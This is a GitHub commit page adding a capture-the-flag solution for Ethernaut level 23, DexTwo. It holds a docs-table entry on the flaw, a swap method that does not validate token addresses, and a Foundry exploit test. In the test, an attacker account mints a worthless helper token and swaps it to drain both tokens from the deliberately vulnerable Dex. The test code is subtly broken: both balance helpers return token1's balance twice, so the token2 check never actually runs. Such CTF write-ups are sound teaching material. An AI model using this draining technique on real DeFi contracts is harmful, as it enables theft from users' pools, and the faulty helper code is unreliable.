Skip to content

Commit

Permalink
feat: add ethernaut lvl 23 solution
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Sep 30, 2024
1 parent 6926e8c commit bec8019
Show file tree
Hide file tree
Showing 2 changed files with 117 additions and 1 deletion.
2 changes: 1 addition & 1 deletion docs/EthernautCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@
| 20 | [Denial](../src/EthernautCTF/Denial.sol) || [DenialExploit](../test/EthernautCTF/DenialExploit.t.sol) | - Always set the amount of gas when using a low-level call. It will prevent the external contract to consume all the gas.<br>- Check the return value of low-level calls, especially when the address is controlled by someone else. |
| 21 | [Shop](../src/EthernautCTF/Shop.sol) || [ShopExploit](../test/EthernautCTF/ShopExploit.t.sol) | - When calling an external contract, always check the returned value before using it!<br>- This challenge is very similar to challenge 11. |
| 22 | [Dex](../src/EthernautCTF/Dex.sol) || [DexExploit](../test/EthernautCTF/DexExploit.t.sol) | The contract uses a division operation to compute the swap amount which can be exploited because of a precision loss. Indeed, Solidity does not support floating points. |
| 23 | [DexTwo](../src/EthernautCTF/DexTwo.sol) | | | |
| 23 | [DexTwo](../src/EthernautCTF/DexTwo.sol) | | [DexTwoExploit](../test/EthernautCTF/DexTwoExploit.t.sol) | The `swap` method does not check the addresses of the ERC20 tokens. This is a very bad practice since an exploiter can manipulate the balances of those tokens. Indeed, the swap amount is computed based on the token balances, so anyone can drain the tokens of the contract. |
| 24 | PuzzleWallet || | |
| 25 | [Motorbike](../src/EthernautCTF/Motorbike.sol) || | |
| 26 | [DoubleEntry](../src/EthernautCTF/DoubleEntry.sol) || | |
Expand Down
116 changes: 116 additions & 0 deletions test/EthernautCTF/DexTwoExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,116 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/DexTwo.sol';
import '@openzeppelin-08/token/ERC20/ERC20.sol';
import '@openzeppelin-08/utils/math/Math.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract HelperToken is ERC20 {
constructor(uint256 _value) ERC20('TOKEN3', 'T3') {
_mint(msg.sender, _value);
}
}

contract DexTwoEploit is Test {
DexTwo target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');
SwappableTokenTwo token1;
SwappableTokenTwo token2;

function setUp() public {
vm.startPrank(deployer);
target = new DexTwo();
console2.log('Dex contract deployed');

token1 = new SwappableTokenTwo(address(target), 'TOKEN1', 'T1', 10_000);
token2 = new SwappableTokenTwo(address(target), 'TOKEN2', 'T2', 10_000);
target.setTokens(address(token1), address(token2));
console2.log('Tokens deployed and set in the Dex');

target.approve(address(target), 100);
target.addLiquidity(address(token1), 100);
target.addLiquidity(address(token2), 100);
console2.log('Liquidity added to the Dex contract');

token1.transfer(address(exploiter), 10);
token2.transfer(address(exploiter), 10);
console2.log('Tokens sent to the exploiter');
vm.stopPrank();
}

function testExploit() public {
// Balance check.
(uint256 dexToken1Balance, uint256 dexToken2Balance) = getDexBalances();
assertEq(dexToken1Balance, 100);
assertEq(dexToken2Balance, 100);

// Perform the exploit.
// The goal is to drain the two tokens of the Dex contract.
// The method `swap` has been slightly changed compared to the previous version.
// It doesn't check which tokens are passed to the swap method.

// Deploy our own ERC20 helper token.
vm.startPrank(exploiter);
ERC20 helperToken = new HelperToken(200);
helperToken.approve(address(target), 10);
console2.log('Helper token deployed');

helperToken.transfer(address(target), 1);
// swapAmount = 1 * 100 / 1 = 100 with amount = 1
target.swap(address(helperToken), address(token1), 1);
console2.log(''); // break line
console2.log('Token1 drained');
getDexBalances();
getExploiterBalances();

// swapAmount = 2 * 100 / 2 = 100 with amount = 2
target.swap(address(helperToken), address(token2), 2);
console2.log(''); // break line
console2.log('Token2 drained');
getDexBalances();
getExploiterBalances();

// Check that the exploit worked.
console2.log(''); // break line
(dexToken1Balance, dexToken2Balance) = getDexBalances();
assertEq(dexToken1Balance, 0);
assertEq(dexToken2Balance, 0);
console2.log('The two tokens were drained in the Dex contract');
getExploiterBalances();

vm.stopPrank();
}

function getDexBalances() public view returns (uint256, uint256) {
(uint256 token1Balance, uint256 token2Balance) = getBalances(
address(target)
);
console2.log(
'Checking Dex balances: TOKEN1=%d TOKEN2=%d',
token1Balance,
token2Balance
);
return (token1Balance, token1Balance);
}

function getExploiterBalances() public view returns (uint256, uint256) {
(uint256 token1Balance, uint256 token2Balance) = getBalances(exploiter);
console2.log(
'Checking exploiter balances: TOKEN1=%d TOKEN2=%d',
token1Balance,
token2Balance
);
return (token1Balance, token1Balance);
}

function getBalances(
address _address
) public view returns (uint256, uint256) {
uint256 token1Balance = token1.balanceOf(_address);
uint256 token2Balance = token2.balanceOf(_address);
return (token1Balance, token2Balance);
}
}

0 comments on commit bec8019

Please sign in to comment.